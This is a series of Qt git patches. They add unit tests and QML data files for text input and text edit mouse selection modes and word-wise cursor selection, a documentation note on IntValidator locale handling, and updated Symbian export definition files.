    +void tst_qdeclarativetextedit::mouseSelectionMode()
    +{
    +    QFETCH(QString, qmlfile);
    +    QFETCH(bool, selectWords);
    +
    +    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    +
    +    QDeclarativeView *canvas = createView(qmlfile);
    +
    +    canvas->show();
    +    QApplication::setActiveWindow(canvas);
    +    QTest::qWaitForWindowShown(canvas);
    +    QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas));
    +
    +    QVERIFY(canvas->rootObject() != 0);
    +    QDeclarativeTextEdit *textEditObject = qobject_cast(canvas->rootObject());
    +    QVERIFY(textEditObject != 0);
    +
    +    // press-and-drag-and-release from x1 to x2
    +    int x1 = 10;
    +    int x2 = 70;
    +    int y = textEditObject->height()/2;
    +    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
    +    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
    +    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
    +    QApplication::sendEvent(canvas->viewport(), &mv);
    +    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
    +    QString str = textEditObject->selectedText();
    +    if (selectWords) {
    +        QCOMPARE(str, text);
    +    } else {
    +        QVERIFY(str.length() > 3);
    +        QVERIFY(str != text);
    +    }
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextedit::inputMethodHints()
     {
         QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml");
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
    new file mode 100644
    index 0000000..0ffc6ff
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextInput.SelectCharacters
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
    new file mode 100644
    index 0000000..87c174b
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
    @@ -0,0 +1,7 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    new file mode 100644
    index 0000000..df69a7d
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextInput {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextInput.SelectWords
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 7cdec27..675367c 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -91,7 +91,11 @@ private slots:
         void selection();
         void moveCursorSelection_data();
         void moveCursorSelection();
    +    void moveCursorSelectionSequence_data();
    +    void moveCursorSelectionSequence();
         void dragMouseSelection();
    +    void mouseSelectionMode_data();
    +    void mouseSelectionMode();
     
         void horizontalAlignment_data();
         void horizontalAlignment();
    @@ -462,91 +466,115 @@ void tst_qdeclarativetextinput::moveCursorSelection_data()
         QTest::newRow("jum()ped|characters")
                 << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true;
     
    -    QTest::newRow("(t)he|words")
    +    QTest::newRow("<(t)he>|words")
                 << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
    -    QTest::newRow("do(g)|words")
    +    QTest::newRow("|words")
                 << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
    -    QTest::newRow("jum(p)ed|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
    -    QTest::newRow("jumped( )over|words")
    -            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 27 << 27 << false;
    -    QTest::newRow("jumped( )over|words,reversed")
    -            << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 26 << false;
    -    QTest::newRow("(the )|words")
    -            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
    -    QTest::newRow("( dog)|words")
    -            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
    -    QTest::newRow("( jumped )|words")
    -            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
    -    QTest::newRow("th(e qu)ick|words")
    +    QTest::newRow("over|words,ltr")
    +            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 20 << 27 << false;
    +    QTest::newRow("jumped<( )over>|words,rtl")
    +            << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 31 << false;
    +    QTest::newRow("<(the )>quick|words,ltr")
    +            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 4 << false;
    +    QTest::newRow("<(the )quick>|words,rtl")
    +            << standard[0] << 4 << 0 << QDeclarativeTextInput::SelectWords << 0 << 9 << false;
    +    QTest::newRow("|words,ltr")
    +            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 36 << 44 << false;
    +    QTest::newRow("lazy<( dog)>|words,rtl")
    +            << standard[0] << 44 << 40 << QDeclarativeTextInput::SelectWords << 40 << 44 << false;
    +    QTest::newRow("over|words,ltr")
    +            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 16 << 27 << false;
    +    QTest::newRow("fox<( jumped )over>|words,rtl")
    +            << standard[0] << 27 << 19 << QDeclarativeTextInput::SelectWords << 19 << 31 << false;
    +    QTest::newRow("|words")
                 << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true;
    -    QTest::newRow("la(zy d)og|words")
    +    QTest::newRow("")
                 << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true;
    -    QTest::newRow("jum(ped ov)er|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true;
    -    QTest::newRow("()the|words")
    +    QTest::newRow("<()>the|words")
                 << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
    -    QTest::newRow("dog()|words")
    +    QTest::newRow("dog<()>|words")
                 << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true;
    -    QTest::newRow("jum()ped|words")
    +    QTest::newRow("jum<()>ped|words")
                 << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true;
     
    -    QTest::newRow("Hello(,) |words")
    +    QTest::newRow("Hello<(,)> |words")
                 << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hello(, )|words")
    -            << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hel(lo, )|words")
    -            << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true;
    -    QTest::newRow("Hel(lo),|words")
    +    QTest::newRow("Hello<(, )>world|words,ltr")
    +            << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello<(, )world>|words,rtl")
    +            << standard[2] << 7 << 5 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
    +    QTest::newRow("world|words,ltr")
    +            << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
    +    QTest::newRow("|words,rtl")
    +            << standard[2] << 7 << 3 << QDeclarativeTextInput::SelectWords << 0 << 12 << false;
    +    QTest::newRow(",|words")
                 << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true;
    -    QTest::newRow("Hello(),|words")
    +    QTest::newRow("Hello<()>,|words")
                 << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true;
    -    QTest::newRow("Hello,()|words")
    +    QTest::newRow("Hello,<()>|words")
                 << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false;
    -    QTest::newRow("Hello,( )|words,reversed")
    -            << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false;
    -    QTest::newRow("Hello,( world)|words")
    -            << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 7 << 12 << true;
    -    QTest::newRow("Hello,( world!)|words")
    -            << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 7 << 13 << true;
    -    QTest::newRow("Hello(, world!)|words")
    +    QTest::newRow("Hello<,( )>world|words,ltr")
    +            << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello,<( )world>|words,rtl")
    +            << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world)>|words,ltr")
    +            << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
    +    QTest::newRow("Hello,<( world)>|words,rtl")
    +            << standard[2] << 12 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world!)>|words,ltr")
    +            << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << false;
    +    QTest::newRow("Hello,<( world!)>|words,rtl")
    +            << standard[2] << 13 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
    +    QTest::newRow("Hello<(, world!)>|words")
                 << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true;
    -    QTest::newRow("world(!)|words")
    -            << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
    -    QTest::newRow("world!())|words")
    +    // Fails due to an issue with QTextBoundaryFinder and punctuation at the end of strings.
    +    // QTBUG-11365
    +    // QTest::newRow("world<(!)>|words")
    +    //         << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
    +    QTest::newRow("world!<()>)|words")
                 << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true;
    -    QTest::newRow("world()!)|words")
    +    QTest::newRow("world<()>!)|words")
                 << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true;
     
    -    QTest::newRow("(,)olleH |words")
    +    QTest::newRow("<(,)>olleH |words")
                 << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,)olleH|words")
    -            << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,ol)leH|words")
    -            << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 7 << 13 << true;
    -    QTest::newRow(",(ol)leH,|words")
    +    QTest::newRow("olleH|words,ltr")
    +            << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
    +    QTest::newRow("dlrow<( ,)>olleH|words,rtl")
    +            << standard[3] << 8 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
    +    QTest::newRow("|words,ltr")
    +            << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 1 << 13 << false;
    +    QTest::newRow("dlrow<( ,ol)leH>|words,rtl")
    +            << standard[3] << 10 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
    +    QTest::newRow(",<(ol)leH>,|words")
                 << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true;
    -    QTest::newRow(",()olleH|words")
    +    QTest::newRow(",<()>olleH|words")
                 << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true;
    -    QTest::newRow("(),olleH|words")
    +    QTest::newRow("<()>,olleH|words")
                 << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true;
    -    QTest::newRow("( ),olleH|words")
    -            << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << false;
    -    QTest::newRow("( ),olleH|words,reversed")
    -            << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << false;
    -    QTest::newRow("(dlrow ),olleH|words")
    -            << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 6 << true;
    -    QTest::newRow("(!dlrow ),olleH|words")
    -            << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 6 << true;
    +    QTest::newRow(",olleH|words,ltr")
    +            << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
    +    QTest::newRow("dlrow<( ),>olleH|words,rtl")
    +            << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
    +    QTest::newRow("<(dlrow )>,olleH|words,ltr")
    +            << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
    +    QTest::newRow("<(dlrow ),>olleH|words,rtl")
    +            << standard[3] << 7 << 1 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
    +    QTest::newRow("<(!dlrow )>,olleH|words,ltr")
    +            << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
    +    QTest::newRow("<(!dlrow ),>olleH|words,rtl")
    +            << standard[3] << 7 << 0 << QDeclarativeTextInput::SelectWords << 0 << 8 << false;
         QTest::newRow("(!dlrow ,)olleH|words")
                 << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true;
    -    QTest::newRow("(!)dlrow|words")
    +    QTest::newRow("<(!)>dlrow|words")
                 << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true;
    -    QTest::newRow("()!dlrow|words")
    +    QTest::newRow("<()>!dlrow|words")
                 << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
    -    QTest::newRow("!()dlrow|words")
    +    QTest::newRow("!<()>dlrow|words")
                 << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true;
     }
     
    @@ -569,6 +597,7 @@ void tst_qdeclarativetextinput::moveCursorSelection()
         textinputObject->setCursorPosition(cursorPosition);
         textinputObject->moveCursorSelection(movePosition, mode);
     
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
         QCOMPARE(textinputObject->selectionStart(), selectionStart);
         QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
     
    @@ -576,11 +605,167 @@ void tst_qdeclarativetextinput::moveCursorSelection()
             textinputObject->setCursorPosition(movePosition);
             textinputObject->moveCursorSelection(cursorPosition, mode);
     
    +        QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
             QCOMPARE(textinputObject->selectionStart(), selectionStart);
             QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
         }
     }
     
    +void tst_qdeclarativetextinput::moveCursorSelectionSequence_data()
    +{
    +    QTest::addColumn("testStr");
    +    QTest::addColumn("cursorPosition");
    +    QTest::addColumn("movePosition1");
    +    QTest::addColumn("movePosition2");
    +    QTest::addColumn("selection1Start");
    +    QTest::addColumn("selection1End");
    +    QTest::addColumn("selection2Start");
    +    QTest::addColumn("selection2End");
    +
    +    QTest::newRow("the { f^ox} jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 17
    +            << 4 << 15
    +            << 4 << 19;
    +    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 17
    +            << 9 << 15
    +            << 10 << 19;
    +    QTest::newRow("the { ^}fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 16
    +            << 4 << 15
    +            << 4 << 16;
    +    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 16
    +            << 9 << 15
    +            << 10 << 16;
    +    QTest::newRow("the {} fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 15
    +            << 4 << 15
    +            << 4 << 15;
    +    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 15
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 10
    +            << 4 << 15
    +            << 4 << 10;
    +    QTest::newRow("the quick<( {^bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 10
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 9
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 9
    +            << 9 << 15
    +            << 9 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 7
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the { fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 7
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 4
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 4
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the{^  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 3
    +            << 4 << 15
    +            << 3 << 9;
    +    QTest::newRow("the{^  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 3
    +            << 9 << 15
    +            << 3 << 15;
    +    QTest::newRow("{t^he  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 1
    +            << 4 << 15
    +            << 0 << 9;
    +    QTest::newRow("{t^he  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 1
    +            << 9 << 15
    +            << 0 << 15;
    +
    +    QTest::newRow("{, w^orld}!|ltr")
    +            << standard[2]
    +            << 2 << 4 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +    QTest::newRow("{, w^orld}!|rtl")
    +            << standard[2]
    +            << 4 << 2 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +
    +    QTest::newRow("!{dlro^w ,}|ltr")
    +            << standard[3]
    +            << 9 << 11 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +    QTest::newRow("!{dlro^w ,}|rtl")
    +            << standard[3]
    +            << 11 << 9 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +}
    +
    +void tst_qdeclarativetextinput::moveCursorSelectionSequence()
    +{
    +    QFETCH(QString, testStr);
    +    QFETCH(int, cursorPosition);
    +    QFETCH(int, movePosition1);
    +    QFETCH(int, movePosition2);
    +    QFETCH(int, selection1Start);
    +    QFETCH(int, selection1End);
    +    QFETCH(int, selection2Start);
    +    QFETCH(int, selection2End);
    +
    +    QString componentStr = "import QtQuick 1.1\nTextInput {  text: \""+ testStr +"\"; }";
    +    QDeclarativeComponent textinputComponent(&engine);
    +    textinputComponent.setData(componentStr.toLatin1(), QUrl());
    +    QDeclarativeTextInput *textinputObject = qobject_cast(textinputComponent.create());
    +    QVERIFY(textinputObject != 0);
    +
    +    textinputObject->setCursorPosition(cursorPosition);
    +
    +    textinputObject->moveCursorSelection(movePosition1, QDeclarativeTextInput::SelectWords);
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
    +    QCOMPARE(textinputObject->selectionStart(), selection1Start);
    +    QCOMPARE(textinputObject->selectionEnd(), selection1End);
    +
    +    textinputObject->moveCursorSelection(movePosition2, QDeclarativeTextInput::SelectWords);
    +    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
    +    QCOMPARE(textinputObject->selectionStart(), selection2Start);
    +    QCOMPARE(textinputObject->selectionEnd(), selection2End);
    +}
    +
     void tst_qdeclarativetextinput::dragMouseSelection()
     {
         QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
    @@ -626,6 +811,55 @@ void tst_qdeclarativetextinput::dragMouseSelection()
         delete canvas;
     }
     
    +void tst_qdeclarativetextinput::mouseSelectionMode_data()
    +{
    +    QTest::addColumn("qmlfile");
    +    QTest::addColumn("selectWords");
    +
    +    // import installed
    +    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
    +    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
    +    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
    +}
    +
    +void tst_qdeclarativetextinput::mouseSelectionMode()
    +{
    +    QFETCH(QString, qmlfile);
    +    QFETCH(bool, selectWords);
    +
    +    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    +
    +    QDeclarativeView *canvas = createView(qmlfile);
    +
    +    canvas->show();
    +    QApplication::setActiveWindow(canvas);
    +    QTest::qWaitForWindowShown(canvas);
    +    QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas));
    +
    +    QVERIFY(canvas->rootObject() != 0);
    +    QDeclarativeTextInput *textInputObject = qobject_cast(canvas->rootObject());
    +    QVERIFY(textInputObject != 0);
    +
    +    // press-and-drag-and-release from x1 to x2
    +    int x1 = 10;
    +    int x2 = 70;
    +    int y = textInputObject->height()/2;
    +    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
    +    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
    +    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
    +    QApplication::sendEvent(canvas->viewport(), &mv);
    +    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
    +    QString str = textInputObject->selectedText();
    +    if (selectWords) {
    +        QCOMPARE(str, text);
    +    } else {
    +        QVERIFY(str.length() > 3);
    +        QVERIFY(str != text);
    +    }
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextinput::horizontalAlignment_data()
     {
         QTest::addColumn("hAlign");
    -- 
    cgit v0.12
    
    
    From fc7f72b663ec934d2d7e41645cb3ca94b96ae6d6 Mon Sep 17 00:00:00 2001
    From: Andrew den Exter 
    Date: Tue, 1 Feb 2011 11:23:53 +1000
    Subject: Clarify that IntValidator performs locale specific validation.
    
    Task-number: QTBUG-16873
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetextinput.cpp | 5 +++++
     1 file changed, 5 insertions(+)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 9e62291..012d408 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -613,6 +613,11 @@ void QDeclarativeTextInput::setAutoScroll(bool b)
         \ingroup qml-basic-visual-elements
     
         This element provides a validator for integer values.
    +
    +    IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
    +    will accept locale specific digits, group separators, and positive and negative signs.  In
    +    addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
    +    locale.
     */
     /*!
         \qmlproperty int IntValidator::top
    -- 
    cgit v0.12
    
    
    From c7c2036d6f5136dd2dd000258f0e49cd155fe072 Mon Sep 17 00:00:00 2001
    From: juhvu 
    Date: Tue, 1 Feb 2011 11:58:37 +1000
    Subject: Froze Symbian def files for QtQuick11.
    
    Reviewed-by: Martin Jones
    ---
     src/s60installs/bwins/QtCoreu.def        |   2 +
     src/s60installs/bwins/QtDeclarativeu.def | 119 +++++++++++++++++++---------
     src/s60installs/bwins/QtGuiu.def         |  40 ++++++++++
     src/s60installs/bwins/QtScriptu.def      |   2 +
     src/s60installs/eabi/QtCoreu.def         |   2 +
     src/s60installs/eabi/QtDeclarativeu.def  | 128 ++++++++++++++++++++-----------
     src/s60installs/eabi/QtGuiu.def          |  35 +++++++++
     src/s60installs/eabi/QtScriptu.def       |   2 +
     tools/qml/qdeclarativetester.cpp         |   5 ++
     9 files changed, 251 insertions(+), 84 deletions(-)
    
    diff --git a/src/s60installs/bwins/QtCoreu.def b/src/s60installs/bwins/QtCoreu.def
    index 872142d..b82f6e5 100644
    --- a/src/s60installs/bwins/QtCoreu.def
    +++ b/src/s60installs/bwins/QtCoreu.def
    @@ -4487,4 +4487,6 @@ EXPORTS
     	?queueDeferredActiveObjectsCompletion@QEventDispatcherSymbian@@QAEXXZ @ 4486 NONAME ; void QEventDispatcherSymbian::queueDeferredActiveObjectsCompletion(void)
     	?reactivateDeferredActiveObjects@QEventDispatcherSymbian@@UAEXXZ @ 4487 NONAME ; void QEventDispatcherSymbian::reactivateDeferredActiveObjects(void)
     	?symbianCommandLine@QCoreApplicationPrivate@@SAPAVCApaCommandLine@@XZ @ 4488 NONAME ; class CApaCommandLine * QCoreApplicationPrivate::symbianCommandLine(void)
    +	?revision@QMetaProperty@@QBEHXZ @ 4489 NONAME ; int QMetaProperty::revision(void) const
    +	?revision@QMetaMethod@@QBEHXZ @ 4490 NONAME ; int QMetaMethod::revision(void) const
     
    diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def
    index 9e88df7..a287def 100644
    --- a/src/s60installs/bwins/QtDeclarativeu.def
    +++ b/src/s60installs/bwins/QtDeclarativeu.def
    @@ -52,7 +52,7 @@ EXPORTS
     	?isDesignable@QMetaPropertyBuilder@@QBE_NXZ @ 51 NONAME ABSENT ; bool QMetaPropertyBuilder::isDesignable(void) const
     	?tr@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 52 NONAME ; class QString QDeclarativeStateGroup::tr(char const *, char const *, int)
     	?errors@QDeclarativeView@@QBE?AV?$QList@VQDeclarativeError@@@@XZ @ 53 NONAME ; class QList QDeclarativeView::errors(void) const
    -	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ABSENT ; QPacket::QPacket(class QPacket const &)
    +	??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ; QPacket::QPacket(class QPacket const &)
     	??1QDeclarativeDebugObjectExpressionWatch@@UAE@XZ @ 55 NONAME ABSENT ; QDeclarativeDebugObjectExpressionWatch::~QDeclarativeDebugObjectExpressionWatch(void)
     	?status@QDeclarativePixmap@@QBE?AW4Status@1@XZ @ 56 NONAME ; enum QDeclarativePixmap::Status QDeclarativePixmap::status(void) const
     	?bottom@QDeclarativeAnchors@@QBE?AVQDeclarativeAnchorLine@@XZ @ 57 NONAME ABSENT ; class QDeclarativeAnchorLine QDeclarativeAnchors::bottom(void) const
    @@ -69,7 +69,7 @@ EXPORTS
     	??0Variant@QDeclarativeParser@@QAE@ABVQString@@@Z @ 68 NONAME ; QDeclarativeParser::Variant::Variant(class QString const &)
     	?paintedSizeChanged@QDeclarativeText@@IAEXXZ @ 69 NONAME ABSENT ; void QDeclarativeText::paintedSizeChanged(void)
     	??1QDeclarativeDebugClient@@UAE@XZ @ 70 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(void)
    -	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *)
    +	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *)
     	?trUtf8@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 72 NONAME ABSENT ; class QString QDeclarativeListModel::trUtf8(char const *, char const *)
     	?qt_metacast@QDeclarativeState@@UAEPAXPBD@Z @ 73 NONAME ; void * QDeclarativeState::qt_metacast(char const *)
     	??1QDeclarativeDebugContextReference@@QAE@XZ @ 74 NONAME ABSENT ; QDeclarativeDebugContextReference::~QDeclarativeDebugContextReference(void)
    @@ -126,7 +126,7 @@ EXPORTS
     	?addToObject@QDeclarativeAbstractBinding@@QAEXPAVQObject@@@Z @ 125 NONAME ABSENT ; void QDeclarativeAbstractBinding::addToObject(class QObject *)
     	?trUtf8@QDeclarativeView@@SA?AVQString@@PBD0H@Z @ 126 NONAME ; class QString QDeclarativeView::trUtf8(char const *, char const *, int)
     	?d_func@QDeclarativeAnchors@@AAEPAVQDeclarativeAnchorsPrivate@@XZ @ 127 NONAME ABSENT ; class QDeclarativeAnchorsPrivate * QDeclarativeAnchors::d_func(void)
